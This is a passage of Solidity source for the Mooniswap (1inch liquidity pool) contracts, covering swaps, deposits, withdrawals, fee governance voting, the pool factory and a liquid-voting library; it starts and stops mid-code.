require(maxAmounts[i] > 0, "Mooniswap: amount is zero"); uint256 amount = realBalances[i].mul(fairSupplyCached).add(totalSupply - 1).div(totalSupply); require(amount >= minAmounts[i], "Mooniswap: minAmount not reached"); _tokens[i].uniTransferFrom(msg.sender, address(this), amount); receivedAmounts[i] = _tokens[i].uniBalanceOf(address(this)).sub(realBalances[i]); fairSupply = Math.min(fairSupply, totalSupply.mul(receivedAmounts[i]).div(realBalances[i])); } uint256 _decayPeriod = decayPeriod(); // gas savings for (uint i = 0; i < maxAmounts.length; i++) { virtualBalancesForRemoval[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); virtualBalancesForAddition[_tokens[i]].scale(_decayPeriod, realBalances[i], totalSupply.add(fairSupply), totalSupply); } } require(fairSupply > 0, "Mooniswap: result is not enough"); _mint(target, fairSupply); emit Deposited(msg.sender, target, fairSupply, receivedAmounts[0], receivedAmounts[1]); } function withdraw(uint256 amount, uint256[] memory minReturns) external returns(uint256[2] memory withdrawnAmounts) { return withdrawFor(amount, minReturns, msg.sender); } function withdrawFor(uint256 amount, uint256[] memory minReturns, address payable target) public nonReentrant returns(uint256[2] memory withdrawnAmounts) { IERC20[2] memory _tokens = [token0, token1]; uint256 totalSupply = totalSupply(); uint256 _decayPeriod = decayPeriod(); // gas savings _burn(msg.sender, amount); for (uint i = 0; i < _tokens.length; i++) { IERC20 token = _tokens[i]; uint256 preBalance = token.uniBalanceOf(address(this)); uint256 value = preBalance.mul(amount).div(totalSupply); token.uniTransfer(target, value); withdrawnAmounts[i] = value; require(i >= minReturns.length || value >= minReturns[i], "Mooniswap: result is not enough"); virtualBalancesForAddition[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); virtualBalancesForRemoval[token].scale(_decayPeriod, preBalance, totalSupply.sub(amount), totalSupply); } emit Withdrawn(msg.sender, target, amount, withdrawnAmounts[0], withdrawnAmounts[1]); } function swap(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral) external payable returns(uint256 result) { return swapFor(src, dst, amount, minReturn, referral, msg.sender); } function swapFor(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address referral, address payable receiver) public payable nonReentrant whenNotShutdown returns(uint256 result) { require(msg.value == (src.isETH() ? amount : 0), "Mooniswap: wrong value usage"); Balances memory balances = Balances({ src: src.uniBalanceOf(address(this)).sub(src.isETH() ? msg.value : 0), dst: dst.uniBalanceOf(address(this)) }); uint256 confirmed; Balances memory virtualBalances; Fees memory fees = Fees({ fee: fee(), slippageFee: slippageFee() }); (confirmed, result, virtualBalances) = _doTransfers(src, dst, amount, minReturn, receiver, balances, fees); emit Swapped(msg.sender, receiver, address(src), address(dst), confirmed, result, virtualBalances.src, virtualBalances.dst, referral); _mintRewards(confirmed, result, referral, balances, fees); // Overflow of uint128 is desired volumes[src].confirmed += uint128(confirmed); volumes[src].result += uint128(result); } function _doTransfers(IERC20 src, IERC20 dst, uint256 amount, uint256 minReturn, address payable receiver, Balances memory balances, Fees memory fees) private returns(uint256 confirmed, uint256 result, Balances memory virtualBalances) { uint256 _decayPeriod = decayPeriod(); virtualBalances.src = virtualBalancesForAddition[src].current(_decayPeriod, balances.src); virtualBalances.src = Math.max(virtualBalances.src, balances.src); virtualBalances.dst = virtualBalancesForRemoval[dst].current(_decayPeriod, balances.dst); virtualBalances.dst = Math.min(virtualBalances.dst, balances.dst); src.uniTransferFrom(msg.sender, address(this), amount); confirmed = src.uniBalanceOf(address(this)).sub(balances.src); result = _getReturn(src, dst, confirmed, virtualBalances.src, virtualBalances.dst, fees.fee, fees.slippageFee); require(result > 0 && result >= minReturn, "Mooniswap: return is not enough"); dst.uniTransfer(receiver, result); // Update virtual balances to the same direction only at imbalanced state if (virtualBalances.src != balances.src) { virtualBalancesForAddition[src].set(virtualBalances.src.add(confirmed)); } if (virtualBalances.dst != balances.dst) { virtualBalancesForRemoval[dst].set(virtualBalances.dst.sub(result)); } // Update virtual balances to the opposite direction virtualBalancesForRemoval[src].update(_decayPeriod, balances.src); virtualBalancesForAddition[dst].update(_decayPeriod, balances.dst); } function _mintRewards(uint256 confirmed, uint256 result, address referral, Balances memory balances, Fees memory fees) private { (uint256 referralShare, uint256 governanceShare, address govWallet, address feeCollector) = mooniswapFactoryGovernance.shareParameters(); uint256 refReward; uint256 govReward; uint256 invariantRatio = uint256(1e36); invariantRatio = invariantRatio.mul(balances.src.add(confirmed)).div(balances.src); invariantRatio = invariantRatio.mul(balances.dst.sub(result)).div(balances.dst); if (invariantRatio > 1e36) { // calculate share only if invariant increased invariantRatio = invariantRatio.sqrt(); uint256 invIncrease = totalSupply().mul(invariantRatio.sub(1e18)).div(invariantRatio); refReward = (referral != address(0)) ? invIncrease.mul(referralShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; govReward = (govWallet != address(0)) ? invIncrease.mul(governanceShare).div(MooniswapConstants._FEE_DENOMINATOR) : 0; if (feeCollector == address(0)) { if (refReward > 0) { _mint(referral, refReward); } if (govReward > 0) { _mint(govWallet, govReward); } } else if (refReward > 0 || govReward > 0) { uint256 len = (refReward > 0 ? 1 : 0) + (govReward > 0 ? 1 : 0); address[] memory wallets = new address[](len); uint256[] memory rewards = new uint256[](len); wallets[0] = referral; rewards[0] = refReward; if (govReward > 0) { wallets[len - 1] = govWallet; rewards[len - 1] = govReward; } try IFeeCollector(feeCollector).updateRewards(wallets, rewards) { _mint(feeCollector, refReward.add(govReward)); } catch { emit Error("updateRewards() failed"); } } } emit Sync(balances.src, balances.dst, fees.fee, fees.slippageFee, refReward, govReward); } /* spot_ret = dx * y / x uni_ret = dx * y / (x + dx) slippage = (spot_ret - uni_ret) / spot_ret slippage = dx * dx * y / (x * (x + dx)) / (dx * y / x) slippage = dx / (x + dx) ret = uni_ret * (1 - slip_fee * slippage) ret = dx * y / (x + dx) * (1 - slip_fee * dx / (x + dx)) ret = dx * y / (x + dx) * (x + dx - slip_fee * dx) / (x + dx) x = amount * denominator dx = amount * (denominator - fee) */ function _getReturn(IERC20 src, IERC20 dst, uint256 amount, uint256 srcBalance, uint256 dstBalance, uint256 fee, uint256 slippageFee) internal view returns(uint256) { if (src > dst) { (src, dst) = (dst, src); } if (amount > 0 && src == token0 && dst == token1) { uint256 taxedAmount = amount.sub(amount.mul(fee).div(MooniswapConstants._FEE_DENOMINATOR)); uint256 srcBalancePlusTaxedAmount = srcBalance.add(taxedAmount); uint256 ret = taxedAmount.mul(dstBalance).div(srcBalancePlusTaxedAmount); uint256 feeNumerator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount).sub(slippageFee.mul(taxedAmount)); uint256 feeDenominator = MooniswapConstants._FEE_DENOMINATOR.mul(srcBalancePlusTaxedAmount); return ret.mul(feeNumerator).div(feeDenominator); } } function rescueFunds(IERC20 token, uint256 amount) external nonReentrant onlyOwner { uint256 balance0 = token0.uniBalanceOf(address(this)); uint256 balance1 = token1.uniBalanceOf(address(this)); token.uniTransfer(msg.sender, amount); require(token0.uniBalanceOf(address(this)) >= balance0, "Mooniswap: access denied"); require(token1.uniBalanceOf(address(this)) >= balance1, "Mooniswap: access denied"); require(balanceOf(address(this)) >= _BASE_SUPPLY, "Mooniswap: access denied"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./interfaces/IMooniswapDeployer.sol"; import "./interfaces/IMooniswapFactory.sol"; import "./libraries/UniERC20.sol"; import "./Mooniswap.sol"; import "./governance/MooniswapFactoryGovernance.sol"; contract MooniswapFactory is IMooniswapFactory, MooniswapFactoryGovernance { using UniERC20 for IERC20; event Deployed( Mooniswap indexed mooniswap, IERC20 indexed token1, IERC20 indexed token2 ); IMooniswapDeployer public immutable mooniswapDeployer; address public immutable poolOwner; Mooniswap[] public allPools; mapping(Mooniswap => bool) public override isPool; mapping(IERC20 => mapping(IERC20 => Mooniswap)) private _pools; constructor (address _poolOwner, IMooniswapDeployer _mooniswapDeployer, address _governanceMothership) public MooniswapFactoryGovernance(_governanceMothership) { poolOwner = _poolOwner; mooniswapDeployer = _mooniswapDeployer; } function getAllPools() external view returns(Mooniswap[] memory) { return allPools; } function pools(IERC20 tokenA, IERC20 tokenB) external view override returns (Mooniswap pool) { (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); return _pools[token1][token2]; } function deploy(IERC20 tokenA, IERC20 tokenB) public returns(Mooniswap pool) { require(tokenA != tokenB, "Factory: not support same tokens"); (IERC20 token1, IERC20 token2) = sortTokens(tokenA, tokenB); require(_pools[token1][token2] == Mooniswap(0), "Factory: pool already exists"); string memory symbol1 = token1.uniSymbol(); string memory symbol2 = token2.uniSymbol(); pool = mooniswapDeployer.deploy( token1, token2, string(abi.encodePacked("1inch Liquidity Pool (", symbol1, "-", symbol2, ")")), string(abi.encodePacked("1LP-", symbol1, "-", symbol2)), poolOwner ); _pools[token1][token2] = pool; allPools.push(pool); isPool[pool] = true; emit Deployed(pool, token1, token2); } function sortTokens(IERC20 tokenA, IERC20 tokenB) public pure returns(IERC20, IERC20) { if (tokenA < tokenB) { return (tokenA, tokenB); } return (tokenB, tokenA); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../interfaces/IGovernanceModule.sol"; abstract contract BaseGovernanceModule is IGovernanceModule { address public immutable mothership; modifier onlyMothership { require(msg.sender == mothership, "Access restricted to mothership"); _; } constructor(address _mothership) public { mothership = _mothership; } function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external override onlyMothership { require(accounts.length == newBalances.length, "Arrays length should be equal"); for(uint256 i = 0; i < accounts.length; ++i) { _notifyStakeChanged(accounts[i], newBalances[i]); } } function notifyStakeChanged(address account, uint256 newBalance) external override onlyMothership { _notifyStakeChanged(account, newBalance); } function _notifyStakeChanged(address account, uint256 newBalance) internal virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/ExplicitLiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; import "../utils/BalanceAccounting.sol"; import "./BaseGovernanceModule.sol"; contract MooniswapFactoryGovernance is IMooniswapFactoryGovernance, BaseGovernanceModule, BalanceAccounting, Ownable, Pausable { using Vote for Vote.Data; using ExplicitLiquidVoting for ExplicitLiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeMath for uint256; using SafeCast for uint256; event DefaultFeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event DefaultSlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DefaultDecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); event ReferralShareVoteUpdate(address indexed user, uint256 referralShare, bool isDefault, uint256 amount); event GovernanceShareVoteUpdate(address indexed user, uint256 governanceShare, bool isDefault, uint256 amount); event GovernanceWalletUpdate(address governanceWallet); event FeeCollectorUpdate(address feeCollector); ExplicitLiquidVoting.Data private _defaultFee; ExplicitLiquidVoting.Data private _defaultSlippageFee; ExplicitLiquidVoting.Data private _defaultDecayPeriod; ExplicitLiquidVoting.Data private _referralShare; ExplicitLiquidVoting.Data private _governanceShare; address public override governanceWallet; address public override feeCollector; mapping(address => bool) public override isFeeCollector; constructor(address _mothership) public BaseGovernanceModule(_mothership) { _defaultFee.data.result = MooniswapConstants._DEFAULT_FEE.toUint104(); _defaultSlippageFee.data.result = MooniswapConstants._DEFAULT_SLIPPAGE_FEE.toUint104(); _defaultDecayPeriod.data.result = MooniswapConstants._DEFAULT_DECAY_PERIOD.toUint104(); _referralShare.data.result = MooniswapConstants._DEFAULT_REFERRAL_SHARE.toUint104(); _governanceShare.data.result = MooniswapConstants._DEFAULT_GOVERNANCE_SHARE.toUint104(); } function shutdown() external onlyOwner { _pause(); } function isActive() external view override returns (bool) { return !paused(); } function shareParameters() external view override returns(uint256, uint256, address, address) { return (_referralShare.data.current(), _governanceShare.data.current(), governanceWallet, feeCollector); } function defaults() external view override returns(uint256, uint256, uint256) { return (_defaultFee.data.current(), _defaultSlippageFee.data.current(), _defaultDecayPeriod.data.current()); } function defaultFee() external view override returns(uint256) { return _defaultFee.data.current(); } function defaultFeeVotes(address user) external view returns(uint256) { return _defaultFee.votes[user].get(MooniswapConstants._DEFAULT_FEE); } function virtualDefaultFee() external view returns(uint104, uint104, uint48) { return (_defaultFee.data.oldResult, _defaultFee.data.result, _defaultFee.data.time); } function defaultSlippageFee() external view override returns(uint256) { return _defaultSlippageFee.data.current(); } function defaultSlippageFeeVotes(address user) external view returns(uint256) { return _defaultSlippageFee.votes[user].get(MooniswapConstants._DEFAULT_SLIPPAGE_FEE); } function virtualDefaultSlippageFee() external view returns(uint104, uint104, uint48) { return (_defaultSlippageFee.data.oldResult, _defaultSlippageFee.data.result, _defaultSlippageFee.data.time); } function defaultDecayPeriod() external view override returns(uint256) { return _defaultDecayPeriod.data.current(); } function defaultDecayPeriodVotes(address user) external view returns(uint256) { return _defaultDecayPeriod.votes[user].get(MooniswapConstants._DEFAULT_DECAY_PERIOD); } function virtualDefaultDecayPeriod() external view returns(uint104, uint104, uint48) { return (_defaultDecayPeriod.data.oldResult, _defaultDecayPeriod.data.result, _defaultDecayPeriod.data.time); } function referralShare() external view override returns(uint256) { return _referralShare.data.current(); } function referralShareVotes(address user) external view returns(uint256) { return _referralShare.votes[user].get(MooniswapConstants._DEFAULT_REFERRAL_SHARE); } function virtualReferralShare() external view returns(uint104, uint104, uint48) { return (_referralShare.data.oldResult, _referralShare.data.result, _referralShare.data.time); } function governanceShare() external view override returns(uint256) { return _governanceShare.data.current(); } function governanceShareVotes(address user) external view returns(uint256) { return _governanceShare.votes[user].get(MooniswapConstants._DEFAULT_GOVERNANCE_SHARE); } function virtualGovernanceShare() external view returns(uint104, uint104, uint48) { return (_governanceShare.data.oldResult, _governanceShare.data.result, _governanceShare.data.time); } function setGovernanceWallet(address newGovernanceWallet) external onlyOwner { governanceWallet = newGovernanceWallet; isFeeCollector[newGovernanceWallet] = true; emit GovernanceWalletUpdate(newGovernanceWallet); } function setFeeCollector(address newFeeCollector) external onlyOwner { feeCollector = newFeeCollector; isFeeCollector[newFeeCollector] = true; emit FeeCollectorUpdate(newFeeCollector); } function defaultFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function discardDefaultFeeVote() external { _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function defaultSlippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function discardDefaultSlippageFeeVote() external { _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function defaultDecayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function discardDefaultDecayPeriodVote() external { _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function referralShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Referral share vote is too high"); require(vote >= MooniswapConstants._MIN_REFERRAL_SHARE, "Referral share vote is too low"); _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function discardReferralShareVote() external { _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function governanceShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Gov share vote is too high"); _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function discardGovernanceShareVote() external { _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _notifyStakeChanged(address account, uint256 newBalance) internal override { uint256 balance = _set(account, newBalance); if (newBalance == balance) { return; } _defaultFee.updateBalance(account, _defaultFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); _defaultSlippageFee.updateBalance(account, _defaultSlippageFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); _defaultDecayPeriod.updateBalance(account, _defaultDecayPeriod.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); _referralShare.updateBalance(account, _referralShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); _governanceShare.updateBalance(account, _governanceShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _emitDefaultFeeVoteUpdate(address user, uint256 newDefaultFee, bool isDefault, uint256 balance) private { emit DefaultFeeVoteUpdate(user, newDefaultFee, isDefault, balance); } function _emitDefaultSlippageFeeVoteUpdate(address user, uint256 newDefaultSlippageFee, bool isDefault, uint256 balance) private { emit DefaultSlippageFeeVoteUpdate(user, newDefaultSlippageFee, isDefault, balance); } function _emitDefaultDecayPeriodVoteUpdate(address user, uint256 newDefaultDecayPeriod, bool isDefault, uint256 balance) private { emit DefaultDecayPeriodVoteUpdate(user, newDefaultDecayPeriod, isDefault, balance); } function _emitReferralShareVoteUpdate(address user, uint256 newReferralShare, bool isDefault, uint256 balance) private { emit ReferralShareVoteUpdate(user, newReferralShare, isDefault, balance); } function _emitGovernanceShareVoteUpdate(address user, uint256 newGovernanceShare, bool isDefault, uint256 balance) private { emit GovernanceShareVoteUpdate(user, newGovernanceShare, isDefault, balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/LiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; abstract contract MooniswapGovernance is ERC20, Ownable, ReentrancyGuard { using Vote for Vote.Data; using LiquidVoting for LiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeCast for uint256; event FeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event SlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); IMooniswapFactoryGovernance public mooniswapFactoryGovernance; LiquidVoting.Data private _fee; LiquidVoting.Data private _slippageFee; LiquidVoting.Data private _decayPeriod; constructor(IMooniswapFactoryGovernance _mooniswapFactoryGovernance) internal { mooniswapFactoryGovernance = _mooniswapFactoryGovernance; _fee.data.result = _mooniswapFactoryGovernance.defaultFee().toUint104(); _slippageFee.data.result = _mooniswapFactoryGovernance.defaultSlippageFee().toUint104(); _decayPeriod.data.result = _mooniswapFactoryGovernance.defaultDecayPeriod().toUint104(); } function setMooniswapFactoryGovernance(IMooniswapFactoryGovernance newMooniswapFactoryGovernance) external onlyOwner { mooniswapFactoryGovernance = newMooniswapFactoryGovernance; this.discardFeeVote(); this.discardSlippageFeeVote(); this.discardDecayPeriodVote(); } function fee() public view returns(uint256) { return _fee.data.current(); } function slippageFee() public view returns(uint256) { return _slippageFee.data.current(); } function decayPeriod() public view returns(uint256) { return _decayPeriod.data.current(); } function virtualFee() external view returns(uint104, uint104, uint48) { return (_fee.data.oldResult, _fee.data.result, _fee.data.time); } function virtualSlippageFee() external view returns(uint104, uint104, uint48) { return (_slippageFee.data.oldResult, _slippageFee.data.result, _slippageFee.data.time); } function virtualDecayPeriod() external view returns(uint104, uint104, uint48) { return (_decayPeriod.data.oldResult, _decayPeriod.data.result, _decayPeriod.data.time); } function feeVotes(address user) external view returns(uint256) { return _fee.votes[user].get(mooniswapFactoryGovernance.defaultFee); } function slippageFeeVotes(address user) external view returns(uint256) { return _slippageFee.votes[user].get(mooniswapFactoryGovernance.defaultSlippageFee); } function decayPeriodVotes(address user) external view returns(uint256) { return _decayPeriod.votes[user].get(mooniswapFactoryGovernance.defaultDecayPeriod); } function feeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function slippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function decayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function discardFeeVote() external { _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function discardSlippageFeeVote() external { _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function discardDecayPeriodVote() external { _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function _emitFeeVoteUpdate(address account, uint256 newFee, bool isDefault, uint256 newBalance) private { emit FeeVoteUpdate(account, newFee, isDefault, newBalance); } function _emitSlippageFeeVoteUpdate(address account, uint256 newSlippageFee, bool isDefault, uint256 newBalance) private { emit SlippageFeeVoteUpdate(account, newSlippageFee, isDefault, newBalance); } function _emitDecayPeriodVoteUpdate(address account, uint256 newDecayPeriod, bool isDefault, uint256 newBalance) private { emit DecayPeriodVoteUpdate(account, newDecayPeriod, isDefault, newBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { if (from == to) { // ignore transfers to self return; } IMooniswapFactoryGovernance _mooniswapFactoryGovernance = mooniswapFactoryGovernance; bool updateFrom = !(from == address(0) || _mooniswapFactoryGovernance.isFeeCollector(from)); bool updateTo = !(to == address(0) || _mooniswapFactoryGovernance.isFeeCollector(to)); if (!updateFrom && !updateTo) { // mint to feeReceiver or burn from feeReceiver return; } uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0; uint256 balanceTo = (to != address(0)) ? balanceOf(to) : 0; uint256 newTotalSupply = totalSupply() .add(from == address(0) ? amount : 0) .sub(to == address(0) ? amount : 0); ParamsHelper memory params = ParamsHelper({ from: from, to: to, updateFrom: updateFrom, updateTo: updateTo, amount: amount, balanceFrom: balanceFrom, balanceTo: balanceTo, newTotalSupply: newTotalSupply }); (uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod) = _mooniswapFactoryGovernance.defaults(); _updateOnTransfer(params, defaultFee, _emitFeeVoteUpdate, _fee); _updateOnTransfer(params, defaultSlippageFee, _emitSlippageFeeVoteUpdate, _slippageFee); _updateOnTransfer(params, defaultDecayPeriod, _emitDecayPeriodVoteUpdate, _decayPeriod); } struct ParamsHelper { address from; address to; bool updateFrom; bool updateTo; uint256 amount; uint256 balanceFrom; uint256 balanceTo; uint256 newTotalSupply; } function _updateOnTransfer( ParamsHelper memory params, uint256 defaultValue, function(address, uint256, bool, uint256) internal emitEvent, LiquidVoting.Data storage votingData ) private { Vote.Data memory voteFrom = votingData.votes[params.from]; Vote.Data memory voteTo = votingData.votes[params.to]; if (voteFrom.isDefault() && voteTo.isDefault() && params.updateFrom && params.updateTo) { emitEvent(params.from, voteFrom.get(defaultValue), true, params.balanceFrom.sub(params.amount)); emitEvent(params.to, voteTo.get(defaultValue), true, params.balanceTo.add(params.amount)); return; } if (params.updateFrom) { votingData.updateBalance(params.from, voteFrom, params.balanceFrom, params.balanceFrom.sub(params.amount), params.newTotalSupply, defaultValue, emitEvent); } if (params.updateTo) { votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IFeeCollector { function updateReward(address receiver, uint256 amount) external; function updateRewards(address[] calldata receivers, uint256[] calldata amounts) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IGovernanceModule { function notifyStakeChanged(address account, uint256 newBalance) external; function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapDeployer { function deploy( IERC20 token1, IERC20 token2, string calldata name, string calldata symbol, address poolOwner ) external returns(Mooniswap pool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapFactory is IMooniswapFactoryGovernance { function pools(IERC20 token0, IERC20 token1) external view returns (Mooniswap); function isPool(Mooniswap mooniswap) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IMooniswapFactoryGovernance { function shareParameters() external view returns(uint256 referralShare, uint256 governanceShare, address governanceWallet, address referralFeeReceiver); function defaults() external view returns(uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod); function defaultFee() external view returns(uint256); function defaultSlippageFee() external view returns(uint256); function defaultDecayPeriod() external view returns(uint256); function referralShare() external view returns(uint256); function governanceShare() external view returns(uint256); function governanceWallet() external view returns(address); function feeCollector() external view returns(address); function isFeeCollector(address) external view returns(bool); function isActive() external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library ExplicitLiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _votedSupply; mapping(address => Vote.Data) votes; } function updateVote( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, defaultVote, emitEvent); } function updateBalance( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, defaultVote, emitEvent); } function _update( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldVotedSupply = self._votedSupply; uint256 newVotedSupply = oldVotedSupply; if (!oldVote.isDefault()) { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); newVotedSupply = newVotedSupply.sub(oldBalance); } if (!newVote.isDefault()) { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); newVotedSupply = newVotedSupply.add(newBalance); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newVotedSupply != oldVotedSupply) { self._votedSupply = newVotedSupply; } { uint256 newResult = newVotedSupply == 0 ? defaultVote : newWeightedSum.div(newVotedSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( 